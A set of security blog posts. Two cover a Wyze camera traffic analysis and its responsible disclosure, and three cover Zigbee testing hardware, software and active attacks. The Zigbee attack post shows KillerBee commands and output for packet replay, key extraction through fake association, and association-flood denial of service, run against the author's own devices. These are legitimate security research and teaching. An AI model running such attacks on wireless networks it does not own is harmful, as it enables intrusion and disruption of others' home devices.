Wyze Cameras - Keeping Honest Vendors Honest - Part II – Test Results

By Tony Lee

Quick Recap from part I in the series:
It can be difficult for a security nerd to inherently trust cloud vendors and products that do not keep all data on-premises—especially when it comes to home automation IoT devices such as cameras since they can record sensitive data. One such product with excellent reviews, ample capability, and a very reasonable price is the ever-popular Wyze Camera. So, I snatched up a Wyze Cam v2 triple pack that went on-sale, but became concerned after reading reviews and even a Reddit thread found here (https://www.reddit.com/r/wyzecam/comments/beq0sk/do_you_trust_wyze/) and here (https://www.reddit.com/r/wyzecam/comments/7cykgf/wyzecam_sending_data_to_servers_other_than_aws/) mentioning the data is possibly going to China. Note: while no country is perfect, not all countries condone state-sponsored corporate espionage and mass general population data collection.  Just sayin...

One positive note at the time was that it seemed that the manufacturer was chiming in on the Reddit threads explaining that they attempted a fix and that they needed someone to test again. So, in order to test the validity of the reviews and to help answer WyzeTao in the second article:  “We are asking help from some Reddit forum helpers to help check.”, we needed to set up our own environment.  This blog series outlines both the setup involved and then the results.
If you are setting this up yourself, you should refer to Part I - Setup here:   http://www.securitysynapse.com/2019/07/wyze-cameras-keeping-honest-vendors-honest-I.html

Spoiler:
Our camera arrived with firmware version 4.9.2.52 (Release date: October 22, 2018) and we upgraded to the latest version at the time of: 4.9.3.64 (Release date: December 17, 2018). We found that the other reviewers were correct in that the data was going to China (and other countries) due to a content distributor that Wyze uses—however, after working with the very responsive manufacturer, Wyze corrected the issue for everyone. So a huge thanks goes to Tao And Martin at Wyze for their great handling of this responsible disclosure.  Now, please update your mobile app and camera to the latest version (or newer) found below :-)

Corrected Versions:
Mobile app:  V2.4.24 (release date:  July 9th, 2019)
Wyze Cam v2 Firmware V4.9.4.108 (Release date: July 8, 2019)  <-- Update your camera firmware!

Traffic Analysis

After completing the setup in Part I of this series and opening wireshark, it is now time to analyze the traffic. We mentioned previously that we set a display filter (ex:  ip.addr==192.168.8.214) to narrow in on only traffic to and from the Wyze Camera.

Figure 5:  Wyze Cam v2 traffic

As you can see, the Wyze Camera is making DNS requests for:

• gm.iotcplatform.com
• cm.iotcplatform.com

These FQDNs resolved to the following IP addresses:
gm.iotcplatform.com

• 52.79.197.188
• 50.7.98.242
• 198.16.70.58

cm.iotcplatform.com

• 120.24.59.150

Using MaxMind GeoIP2, these IPs are located in the following countries:

Figure 6:  GeoIP resolution

This leaves us with the following:
gm.iotcplatform.com

• 52.79.197.188 - Incheon, South Korea - Amazon.com
• 50.7.98.242 - Los Angeles, United States - FDCservers.net
• 198.16.70.58 - Amsterdam, Netherlands - FDCservers.net 

cm.iotcplatform.com

• 120.24.59.150 - China - Hangzhou Alibaba Advertising Co.,Ltd.

Traffic Sent

If you were wondering if actual camera traffic was sent through China (via 120.24.59.150), it was indeed.

Figure 7:  Traffic sent to China

That said, the data by default does not use RTSP and could not easily be interpreted. Per Wyze, “The contents are encrypted via AES 128-bit encryption to protect the security of the live stream and playback data. During the connection process, every device in the process has its own secret key and certification, so that we can validate their identity during handshake. Even if a hacker intercepts the data package, the data cannot be decrypted.”

Source:  https://support.wyzecam.com/hc/en-us/articles/360009314072-Security-Privacy- 

Working with Wyze

After reporting the issue to Wyze tech support, they were extremely professional and concerned that the previous patch did not work. They worked quickly to provide a solution and test firmware (test version 4.9.4.44) that appeared to fix the issue.

Instead of the previous firmware querying "gm.iotcplatform.com" and "cm.iotcplatform.com", the new firmware queries "us-master.iotcplatform.com".  Just to be thorough, we let it run a bit and monitored for other traffic and found the following:

api.wyzecam.com

• 34.208.107.136
• 35.161.164.220
• 35.167.190.246

wyze-iot.s3-us-west-2.amazonaws.com

• 52.218.160.49

a24rq1e5m4mtei-ats.iot.us-west-2.amazonaws.com

• 35.160.15.131

us-master.iotcplatform.com

• 50.19.254.134
• 50.7.98.242

Figure 8:  New GeoIP results

Conclusion

The initial contact took a little while, however over a one month period of working with the vendor, they were able to correct the issue. The level of detail and follow-through was greatly appreciated. Wyze engineers took our concerns seriously and delivered an acceptable solution. Based on our interactions, they appear to be an honest and transparent company that is focused on doing right by their customers. That is just one more reason in my book for us to purchase more Wyze cameras.


Disclaimer:  We do not work for Wyze (or any of the vendors mentioned) and do not benefit from this article in anyway. All cameras were purchased the same as anyone else.  We do like their customer service, quality of the goods, and prices though.  :-)

Wyze Cameras - Keeping Honest Vendors Honest - Part I - Setup

By Tony Lee

Background:
It can be difficult for a security nerd to inherently trust cloud vendors and products that do not keep all data on-premises—especially when it comes to home security/automation IoT devices such as cameras since they can record sensitive data. One such product with excellent reviews, ample capability, and a very reasonable price is the ever-popular Wyze Camera. So, I snatched up a Wyze Cam v2 triple pack that went on-sale, but became concerned after reading reviews and even Reddit threads found here (https://www.reddit.com/r/wyzecam/comments/beq0sk/do_you_trust_wyze/) and here (https://www.reddit.com/r/wyzecam/comments/7cykgf/wyzecam_sending_data_to_servers_other_than_aws/) mentioning the data is possibly going to China. Note: while no country is perfect, not all countries condone state-sponsored corporate espionage and mass general population data collection.  Just sayin...

One positive note at the time was that it seemed that the manufacturer was chiming in on the Reddit threads explaining that they attempted a fix and that they needed someone to test again. So, in order to test the validity of the reviews and to help answer WyzeTao in the second article:  “We are asking help from some Reddit forum helpers to help check.”, we needed to set up our own environment.  This blog series outlines both the setup involved and then the results.

Spoiler:
Since this is a two part series and we want readers to benefit from the latest security enhancements, we are providing a spoiler in the first article. Our camera arrived with firmware version 4.9.2.52 (Release date: October 22, 2018) and we upgraded to the latest version at the time of: 4.9.3.64 (Release date: December 17, 2018). We found that the other reviewers were correct in that the data was going to China (and other countries) due to a content delivery network that Wyze uses—however, after working with the very responsive manufacturer to test and retest, Wyze corrected the issue for everyone. So a huge thanks goes to Tao And Martin at Wyze for listening to customer concerns and their great handling of responsible disclosures. Now, please update your mobile app and camera to the latest versions (or newer) found below :-)

Corrected Versions:
Mobile app:  V2.4.24 (release date:  July 9th, 2019)
Wyze Cam v2 Firmware V4.9.4.108 (Release date: July 8, 2019)  <-- Update your camera firmware too!

Figure 1:  The ever-popular (and pretty awesome) Wyze Cam 1080p HD Indoor Wireless Smart Home Camera

Test Environment

The hardware and software in our environment is a mixture of what we had on hand and what was required to compensate for lack of existing features.  Also keep in mind that there are quite a few ways to test these devices, however we are presenting just one of the solutions here.

Hardware:

• Wyze Cam v2
• eero Pro WiFi System (Set of 3 eero Pros) – 2nd Generation
• GL-iNet AR750s
• Standard laptop
• USB Ethernet adapter

Software:

• Windows 10 base OS
• Kali Linux OS running in VMWare Workstation with USB ethernet adapter connected as pass through

Quick Note on Limitations of Mesh Routers (Including the Eero Pro WiFi System)

One potentially tricky scenario in monitoring wireless traffic on a mesh network is determining the AP to which the device connects and keeping it on that AP. To avoid that issue, ideally it should be simple to monitor the last hop AP that connects to the source of Internet (cable modem in our case), but this is not always a provided feature. It certainly isn’t a feature in the Eero Pro. Don’t get us wrong, the Eero hardware and reliability makes it one of the best mesh setups around, but the lack of advanced features is depressing—especially for the price tag (~$500) (https://www.amazon.com/eero-Home-WiFi-System-Beacon/dp/B071DWXLYL/). Maybe things will change after the semi-recent Amazon acquisition (https://www.theverge.com/2019/2/11/18220960/amazon-eero-acquisition-announced).  Fingers crossed!

Figure 2:  Typical Mesh network diagram (courtesy of Eero)

Work Around to Sniff Wireless Traffic

Since the Eero woefully lacks a way to route the traffic to a SPAN port, we purchased a GL.iNet GL-AR750S-Ext Gigabit Travel AC Router (https://www.amazon.com/GL-iNet-GL-AR750S-Ext-pre-Installed-Cloudflare-Included/dp/B07GBXMBQF) to do so.  The impressive stats on this compact device are as follows:

• Dual band AC750 Wi-Fi: 433Mbps(5G) +300Mbps(2.4G)
• QCA9563,@775MHz SoC
• 128MB RAM, 16MB NOR Flash and 128 MB NAND Flash
• Up to 128GB MicroSD slot
• USB 2.0 port
• Three ethernet ports (1 WAN, 2 LANs)
• Powered by Micro USB 5V/2A power supply
• And best of all:  OpenWrt pre-installed

Configuration and Setup

Now that we know the hardware, let’s jump into it.

Wiring:
 1) Cable Modem --> Wireless router --> Wireless Mesh receiver --> Hardwire to WAN port of AR750s
 2) AR750s Switch port --> USB ethernet adapter (connected to Kali VM)

Figure 3:  Wiring and configuration

First configuration of the router:

• Power up the router
• Connect wirelessly using the supplied wireless SSID and default password: goodlife
• Upon connecting to the web UI (ex: http://192.168.8.1) you will be required to set a password for the router admin

Figure 4:  Web UI that shows the Wyze Cam v2 target and the Kali host to send the SPAN data

Setting up a SPAN port:
 Putty or SSH to router (ex: 192.168.8.1) with proper credentials (ex:  root:<password set above>)
 - Run the following to set up a SPAN port:

Syntax to setup a SPAN port:
iptables -t mangle -A PREROUTING -j TEE --gateway <IP of Kali VM>
iptables -t mangle -A POSTROUTING -j TEE --gateway <IP of Kali VM>

Example (where our Kali VM IP is 192.168.8.217):
iptables -t mangle -A PREROUTING -j TEE --gateway 192.168.8.217
iptables -t mangle -A POSTROUTING -j TEE --gateway 192.168.8.217

NOTE:  If you get the following error:
iptables v1.6.2: unknown option "--gateway"

 - Run the following and then the iptables commands again
opkg update
opkg install iptables-mod-tee kmod-ipt-tee

Figure 5:  SSH into the AR750S and setting up the SPAN port to go to the Kali Linux host (192.168.8.217)

Sniff Traffic:

• Open Wireshark and sniff on the same interface specified above and you should now see all traffic to and from the AR750S.
• Pro-tip:  Use a filter in Wireshark to limit traffic to just the device you want to monitor (in our case it is the Wyze Camera)
• Ex:  ip.addr==<IP ADDRESS>

Conclusion

Now that we covered our hardware, software, setup and how to create a SPAN port of the AR750S wireless traffic… we are ready to cover our findings.  But, we will save that for Part II of the series found here:  http://securitysynapse.blogspot.com/2019/07/wyze-cameras-keeping-honest-vendors-honest-II.html

Fun with Zigbee Wireless - Part V (Active attacks)

By Tony Lee

Introduction

In our previous zigbee articles, we covered ZigBee usage, history, one hardware option, software options, and passive attacks:
History:  http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-i.html 
Hardware: http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-ii.html
Software: http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-iii.html
Passive attacks: http://securitysynapse.blogspot.com/2015/12/fun-with-zigbee-wireless-part-iv.html 

This time, let's explore some active attacks.  Active attacks that use packet injection require flashing the RZUSBSTICK and thus firmware upgrades will also be covered in this article.

Friendly reminder:  As always use this information responsibly.  Make sure you own the equipment prior to experimentation and learning.  We do not condone malicious intentions, are not held responsible for your actions, and will not bail you out of jail.

Firmware Upgrade

The first step in a firmware upgrade is to obtain the new image.  This could either be from Atmel, Luxoft, or in this case the KillerBee firmware from github.  

Download
Below we show the wget command to download the firmware and the head command to show what the firmware looks like.

root@kali:~/tools/killerbee# wget https://raw.githubusercontent.com/riverloopsec/killerbee/master/ firmware/kb-rzusbstick-002.hex root@kali:~/tools/killerbee# head kb-rzusbstick-002.hex :100000000C94B4000C94D3000C94D3000C94D30043 :100010000C94D3000C94D3000C94D3000C94D30014 :100020000C94D3000C94D3000C94220E0C94D300A7 :100030000C94D3000C94D3000C94D3000C94D300F4 :100040000C943D0B0C94910B0C94FC0B0C94D30072 :100050000C947A0B0C94D3000C94D3000C94D30022 :100060000C94D3000C94D3000C94D3000C94D300C4 :100070000C94D3000C94D3000C94D3000C94D300B4 :100080000C94D3000C94D3000C94D3000C94D300A4 :100090000C94D3000C94D300E409FC062507220835

Connections
The image below shows all of the connections necessary to flash the RZUSBSTICK.  The Dragon programmer connects to the laptop via a USB cable.  The 100mm female to female ribbon cable connects the dragon to the 100mm to 50mm stand off adapter.  The 50 mm male to male connects the stand off adapter to the RZUSBSTICK (which is plugged into the USB stand also plugged into the laptop).  You can either solder the 50mm connector to the RZUSBSTICK or you can hold the pins at an angle to make a firm connection.  Since we were flashing multiple USB sticks, we did not solder the pins.  Note that PIN 1 is closest to the LED.

Flash command

We typically get this command ready prior to the hardware being connected.  That way when the hardware is connected we only need to hit the enter key.

root@kali:~/tools/killerbee# avrdude -P usb -c dragon_jtag -p usb1287 -B 10 -U flash:w:kb-rzusbstick-002.hex avrdude: jtagmkII_initialize(): warning: OCDEN fuse not programmed, single-byte EEPROM updates not possible avrdude: AVR device initialized and ready to accept instructions Reading | ################################################## | 100% 0.01s avrdude: Device signature = 0x1e9782 avrdude: NOTE: FLASH memory has been specified, an erase cycle will be performed To disable this feature, specify the -D option. avrdude: erasing chip avrdude: jtagmkII_initialize(): warning: OCDEN fuse not programmed, single-byte EEPROM updates not possible avrdude: reading input file "kb-rzusbstick-002.hex" avrdude: input file kb-rzusbstick-002.hex auto detected as Intel Hex avrdude: writing flash (26818 bytes): Writing | ################################################## | 100% 2.99s avrdude: 26818 bytes of flash written avrdude: verifying flash memory against kb-rzusbstick-002.hex: avrdude: load data flash data from input file kb-rzusbstick-002.hex: avrdude: input file kb-rzusbstick-002.hex auto detected as Intel Hex avrdude: input file kb-rzusbstick-002.hex contains 26818 bytes avrdude: reading on-chip flash data: Reading | ################################################## | 100% 3.24s avrdude: verifying ... avrdude: 26818 bytes of flash verified avrdude: safemode: Fuses OK avrdude done. Thank you.

avrdude options defined:
-P port
-c programmer-id
-p partno
-B bitclock
-U Perform memory operation
Memtype:operation:filename

Verification

If using lsusb, the brief information does not change.  However, use lsusb -D (ex:  lsusb -D /dev/bus/usb/001/030) to see that the iProduct and iSerial values change to the following:

• iProduct:  KILLERB001
• iSerial:  FFFFFFFFFFFF

When plugging into VMware, the text changes because the iProduct value above changed.  Visually the KillerBee firmware will also change the blue light to amber on the RZUSBSTICK.

If these changes are present the firmware upgrade was successful.

Active attack

In the previous passive attack article, we showed the zbid tool to list the devices.  There should be a noticeable difference now.

Before: root@kali:~# zbid Monkey-patching usb.util.get_string() Dev Product String Serial Number 2:7 RZUSBSTICK 3FA0F6A01C25 After: root@kali:~# zbid Monkey-patching usb.util.get_string() Dev Product String Serial Number 1:30 KILLERB001 FFFFFFFFFFFF

zbstumbler
Now that we have the KillerBee firmware image loaded, we can use more interesting tools that use active techniques for discovery--including zbstumbler.  This is a bit of a head nod to the old netstumbler tool as it can use active packets to locate networks (regardless of the channel).  As a bonus, we can also use the same card to transmit and receive.  Notice in the usage and output below that we do not need to specify a channel and the card still discovered both the hub and the outlet on channel 19.

root@kali:# zbstumbler Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbstumbler: Transmitting and receiving on interface '1:24‘ New Network: PANID 0x2B55 Source 0x7A7C Ext PANID: fd:c3:43:24:23:71:f0:52 Stack Profile: ZigBee Enterprise Stack Version: ZigBee 2006/2007 Channel: 19 New Network: PANID 0x2B55 Source 0x0000 Ext PANID: fd:c3:43:24:23:71:f0:52 Stack Profile: ZigBee Enterprise Stack Version: ZigBee 2006/2007 Channel: 19

zbwireshark
zbwireshark allows users to sniff and review ZigBee traffic in real-time within Wireshark.  The tool creates a pipe which Wireshark then reads data from.  This tool can technically be used with the default firmware since it is passive in nature, but we found it slightly more stable after the KillerBee firmware upgrade.  There are still some stability issues either way.

zbwireshark being used to sniff and display packets in real-time

Sniff and Replay Packets

Once devices are discovered (zbstumbler) and understood (zbwireshark), the it may be possible to capture traffic and then replay that traffic back to the device.  This did not work in our limited testing, but it is worth a shot.

zbdump and zbreplay

We already used zbdump in the previous article, however we will cover the syntax here for completion.  The new tool here is zbreply.  This tool will take the pcap from zbdump and replay it using the flashed RZUSBSTICK.  -f specifies the channel, -w specifies the name of the pcap to write the captured packets, and -r specifies the name of the pcap to read the captured packets.

root@ubuntu:# ./zbdump -f 19 -w operating.pcap Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbdump: listening on '1:34', link-type DLT_IEEE802_15_4, capture size 127 bytes 54 packets captured root@ubuntu:# ./zbreplay -f 19 -r operating.pcap Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbreplay: retransmitting frames from 'operating.pcap' on interface '1:34' with a delay of 1.0 seconds. 27 packets transmitted

Obtain a Key

Similar to zbdsniff discussed in the prior article, the objective here is to obtain a key to decrypt ZigBee traffic.

zbkey
This tool is different from zbdsniff because it is active in nature.  Instead of passively scanning a pcap, zbkey attempts to retrieve a key by sending an associate request followed by a data request after an association response is received.

Here are a few pro-tips when trying this attack:

• Try attacking each device separately
• First attack the hub
• Then attack the child device
• Try placing them in pairing mode
• Try changing the hardware address

root@kali:~# zbkey -f 19 -p 2B55 -s 0.1 -a d052a8006b550001 Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. Sending association packet... Sending data request packet... Received frame Length of packet received in associate_handle: 27 0000: 63 cc d7 55 2b 01 00 55 6b 00 a8 52 d0 01 00 55 c..U+..Uk..R...U 0010: 6b 00 a8 52 d0 02 ff ff 02 d8 eb k..R....... Association response status was not successful. Received 2. Received frame Length of packet received in associate_handle: 27 0000: 63 cc d7 55 2b 01 00 55 6b 00 a8 52 d0 01 00 55 c..U+..Uk..R...U 0010: 6b 00 a8 52 d0 02 ff ff 02 d8 eb k..R........ --snip— Sorry, we didn't hear a device respond with an association response. Do you have an active target within range?

zbkey options defined:
-f channel
-p PAN ID
-s sleep
-a ZigBee hardware address

Denial of Service

When all else fails, it may be interesting to check the resiliency to denial of service.  Fortunately, the KillerBee suite has a tool for this as well.

zbassocflood

This tool attempts to trasmit a flood of associate requests to a target network.  It does require the PAN ID (-p), the channel (-c), and timing (-s).

root@kali:~# zbassocflood -p 0x2b55 -c 19 -s 0.1 Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbassocflood: Transmitting and receiving on interface '1:34' ++++++......++++++......++++++......++++++......++++++......++++++......++++++......++++++......++++++^C Sent 102 associate requests.

In the interest of full disclosure, we were not able to obtain a key or cause a denial of service.  More hardware and testing is required for to complete our research.

Conclusion

This article covered quite a bit of information including flashing the RZUSBSTICK as well as outlining the KillerBee software that can be used for active attacks against the 2.4 GHz ZigBee frequency range.  Passive attacks primarily covered sniffing and replaying, obtaining a key, and denial of service.  The following tools were covered in this article:

• avrdude (flash)
• zbstumbler
• zbwireshark
• zbdump (repeat)
• zbreplay
• zbkey
• zbassocflood

We are interested in hearing feedback from others regarding the success shown with the tools covered in this article.  Feel fee to leave feedback in the comments section below.

While onsite testing, it may be useful to have an attack methodology flow chart to follow.  Here is one we created to help stay on track and create a repeatable process.

Happy hacking. :)

Fun with Zigbee Wireless - Part III (Software)

By Tony Lee

Introduction

In our previous zigbee articles, we covered ZigBee usage, history, and one hardware option:
History:  http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-i.html 
Hardware: http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-ii.html

This time, let's explore some software options.  There are both free and commercial options available.  For this series, we focused on free (although some require email registration).  the following options are explored in this article:

• Atmel AVR Tools - Free with email registration
• Luxoft BitCatcher ZigBee Network Analyzer Tool - Free with email registration
• Killerbee - Free on Github

Friendly reminder:  As always use this information responsibly.  Make sure you own the equipment prior to experimentation and learning.  We do not condone malicious intentions, are not held responsible for your actions, and will not bail you out of jail.

Atmel AVR Tools

This software is offered for free (http://www.atmel.com/tools/RZUSBSTICK.aspx) with email registration from the same maker as our RZUSBSTICK hardware.  It runs on Windows, including a Windows 7 virtual machine which is what our environment used.  Best of all, AVR tools works with the stock firmware so there is no need to flash the RZUSBSTICK.  Included in the download is the following:

• Windows drivers
• rfservicesserver.exe - Command line tool that creates a socket
• AVR Wireless Services - GUI that connects to the socket created by rfservicesserver

The component architecture is shown below:

RF Services Server creates the bridge between the RZUSBSTICK hardware and the software to which the user interacts.  AVR Wireless Services Suite provides the UI for human interaction.

The screenshot above shows the software download on the left, rfservicesserver running in the command prompt on the top right, and AVR Wireless Services GUI running in the bottom right.  AVR Wireless Services provides packet history, a graphical node display, and a packet drill down feature similar to Wireshark.  Of course Atmel offers more capable software at a price, but this is not too bad of a start for a free offering.

Luxoft BitCatcher ZigBee Network Analyzer Tool

Luxoft offers a tool called BitCatcher (http://www.luxoft.com/embedded-systems-development/bitcatcher/) which is also free with email registration.  This tool runs in Windows (binary) and Linux (Java app).  The biggest downside is that it requires custom firmware to be loaded onto the RZUSBSTICK via a flash upgrade (will discuss in a later article).  The flash upgrade changes the hardware ID which allows a custom driver to convert USB to COM which BitCatcher then uses to interact with the hardware.

Our setup process was the following:

• Flashed in Linux with avrdude (Will demo in a later article)
• Ran the BitCatcher Sniffer tool in a Windows 7 VM
• Loaded the "Sniffer" driver
• Added the device, connected the device, started the sniffing

The software download is shown on the left and the BitCatcher software is shown on the right.  There is a packet timeline and drilldown functionality similar to Wireshark, but with less detail.

Killerbee

The last software we will mention is the Killerbee framework from Josh Wright and River Loop security.  Killerbee is a free download from github found here:  https://github.com/riverloopsec/killerbee.  Some tools work with the default Atmel firmware while some require Killerbee firmware.

The tools that work with the default firmware:

• zbid – List available devices
• zbfind – GUI for Zigbee location tracking – Never got this working 
• zbopenear - ZigBee/802.15.4 many channel listener (need 1 RZUSB per channel)
• zbwireshark - Sends sniffed ZigBee packets to Wireshark via a named pipe
• zbdump – tcpdump clone (libpcap or commercial Daintree SNA format)
• zbconvert – Convert capture file formats (libpcap -> Daintree)
• zbdsniff – Scans capture files for Zigbee encryption keys (takes a capture file)
• zbgoodfind – Search a binary file to identify encryption key for encrypted packet

The tools that require the killerbee firmware:

• zbreplay – Replay network traffic from libpcap or Daintree files
• zbscapy – scapy for ZigBee
• zbkey – Attempts to retrieve a key by fake association and request/response
• zbassocflood – Transmit a flood of associate requests to a target network

Killerbee comes pre-installed with most Kali distributions, however your success will vary.  Here was our out-of-the-box experience:

Kali 1.1:

Exception: Unable to open device.  Ensure the device is free and plugged-in.

Kali 2.0:

usb.core.USBError: [Errno 110] Operation timed out

The moral of the story here is that just because the tools are pre-installed, does not mean they will work.

The github page recommends installing the latest version of the software anyway.  These are the steps we used in a Kali 2.0 installation:

Setup:

mkdir tools; cd tools git clone https://github.com/riverloopsec/killerbee.git apt-get install libgcrypt-dev cd killerbee python setup.py install sudo rm -rf /usr/lib/pymodules/python2.7/killerbee python setup.py install

Conclusion

This article outlined the software we will use to examine the 2.4 GHz ZigBee frequency range.  We are very appreciative for those who released free software--Atmel, Luxoft, Josh Wright and River Loop security.  Here are some general observations:

• Atmel - Worked well and with default firmware
• Luxoft - Worked well after the firmware upgrade and driver install
• Killerbee - Most capable and diverse tool set by far, but had the some minor issues:
• Some tools don't work well - but hey, they are free.
• Most tools don't terminate well
• Thus, after running a tool, it may be necessary to reseat the card
• Easiest reseat method is to virtually reseat the card via VMware/Virtual box
• If virtual reseat does not work, physical reseat will be necessary (hooray for USB stands)

The next article will cover some potential passive attacks.

Fun with Zigbee Wireless - Part II (Hardware)

By Tony Lee

Introduction

In our previous zigbee article, we covered ZigBee usage and history:

History:  http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-i.html 

This time, let's explore some hardware.  Keep in mind though that this is just one possible hardware platform that can be used.  The hardware will also vary depending on the frequency you are targeting.  As mentioned in our previous article, these are the applicable ZigBee frequencies:

• 2.4 GHz - Worldwide
• 915 MHz - US/AUS
• 868 MHz - Europe
• 784 MHz – China

For the rest of this article, we will be targeting the 2.4 GHz frequency range—thus our hardware will reflect this decision.

The 2.4 GHz range along 802.11 overlap is shown below:

Figure 1: Source https://www.digi.com/wiki/developer/index.php/Channels,_Zigbee

Friendly reminder:  As always use this information responsibly.  Make sure you own the equipment prior to experimentation and learning.  We do not condone malicious intentions, are not held responsible for your actions, and will not bail you out of jail.

Hardware

Our test environment consists of an unnamed home automation system and a ZigBee power outlet.  This really could have been any ZigBee devices which range from thermostats to light bulbs to deadbolts.

The attack hardware consists of the following:

The only component used for actual attacks in the list above is the Atmel RZUSBSTICK.  We included two RZUSBSTICKs so we could launch the attack with one stick and monitor with the other.  The rest of the components below the first line item are used in the firmware flashing process.  Unfortunately much of the available software requires custom firmware—hence the AVR Dragon and other components.

The hardware list provided is the bare minimum to complete the activities outlined in this series, however there is one “nice to have” item that may save you a little frustration:  a USB extension/stand (one per RZUSBSTICK).  The reason for this is due to some instability with some of the software, thus there will be times where you will need to reseat the RZUSBSTICK.  Most of the time this can be done virtually via VMWare or Virtual box, however, there may be times when this must be done physically.  Since the RZUSBSTICKs are fragile, these stands will help prevent you from handling the PCB itself.  Instead you can disconnect the stand from the PC and have the same effect.  These stands run about $3.22 on Amazon and are well worth the price. 

Attack Environment

Both Ubuntu 14.04.3 and Kali Linux (version 1.1 and 2.0) detect the RZUSBSTICK and load the appropriate drivers.  Both virtualbox and VMWare were used to virtualize Ubuntu and Kali.  Out of all of the combinations, it appears that Kali 2.0 running on virtualbox was the most reliable environment.

Before:

root@kali:~# lsusb Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 004: ID 0e0f:0008 VMware, Inc. Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

After:

root@kali:~# lsusb Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 005: ID 03eb:210a Atmel Corp. Bus 002 Device 004: ID 0e0f:0008 VMware, Inc. Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

Conclusion

This article outlined the hardware we will use to examine the 2.4 GHz ZigBee frequency range.  The next article will cover software options that are available to match the Atmel RZUSBSTICK.  Keep in mind this is just one possible hardware platform.  We would love to hear about experiences with other gear as well.  Feel free to leave comments in the section below.